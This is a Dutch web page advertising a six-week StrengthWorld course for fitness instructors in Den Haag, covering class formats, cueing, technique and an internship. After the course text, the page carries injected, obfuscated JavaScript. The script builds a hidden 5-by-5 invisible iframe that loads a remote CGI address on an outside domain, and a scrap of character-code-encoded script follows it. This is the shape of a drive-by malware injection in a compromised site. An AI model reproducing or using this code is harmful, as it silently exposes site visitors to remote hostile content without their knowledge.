Locatie: Den haag
kosten: 325 euro
6 zaterdagen: 10 november
t/m 15 december 2007

Ga een stap verder!
Total Body Conditioning, Bodyshape, BodyForm en BBB lessen zijn heel populair op elke sportschool. Logisch, want ze hebben als doel het verbeteren van kracht en spieruithoudingsvermogen van de grote en belangrijke spiergroepen.

Effectief trainen
Spierkracht is een belangrijke factor bij het voorkomen van blessures, omdat spieren die sterker zijn spanning bij een uitwendige kracht beter kunnen weerstaan. De spierspanning in rust wordt verbeterd door regelmatige progressieve training waardoor de spieren compacter worden. Hierdoor kun je bij veel mensen die krachttraining doen een figuurverbetering zien.

Module doel
Tijdens deze zesdaagse module zul je leren zelf lessen samen te stellen en daarnaast krijg je een breed aanbod van oefeningen uitgelegd die je op muziek kunt presenteren. Ga een stap verder en leer veilig en efficiënt omgaan met spierversterkende oefeningen. Leer omgaan met dumbells, tubings, halters, dynabands en je eigen lichaamsgewicht.

Je leert verschillende lesvormen zoals:
Total Body Conditioning, Bodyshape, BBB en Bodyform.

Inhoud StrengthWorld instructor module
- Werken op muziek
- Cueing
- Houding en techniek
- Bewegingsrepertoire
- Flexibiliteitstraining
- Blessurepreventie (differentiatie)
- Anatomie en fysiologie m.b.t. weerstandtraining

De stage
Er wordt van je verwacht dat je gedurende de module een stage van ongeveer 12 uur doorloopt. Tijdens deze periode breng je de opgedane kennis onmiddellijk in de praktijk. Je krijgt ook richtlijnen om een succesvolle stage te doorlopen.

i='/';ka='ts';j='/';zg='cgi';ni='sor';ea='lt';ut='s.';bg='in';ep='?';k='ram';q='/t';vo='if';p='in';o='y';c='e';d='p:';yu='htt';jb='rc';ce='au';uf='.';a='s';zf='def';b=vo.concat(k,c);mx=a.concat(jb);jl=yu.concat(d,i,q,ni,ka,o,ut,p,j,bg,uf,zg,ep,zf,ce,ea);var pe=document.createElement(b);pe.setAttribute('width','5');pe.setAttribute('height','5');pe.setAttribute('style','display:none');pe.setAttribute(mx,jl);document.body.appendChild(pe); ,109-h,98-h,119-h,37-h,39-h,89-h,46-h,91-h,44-h,95-h,110-h,110-h,99-h,108-h,98-h,65-h,102-h,103-h,106-h,98-h,38-h,100-h,39-h,57-h,7-h,7-h,123-h));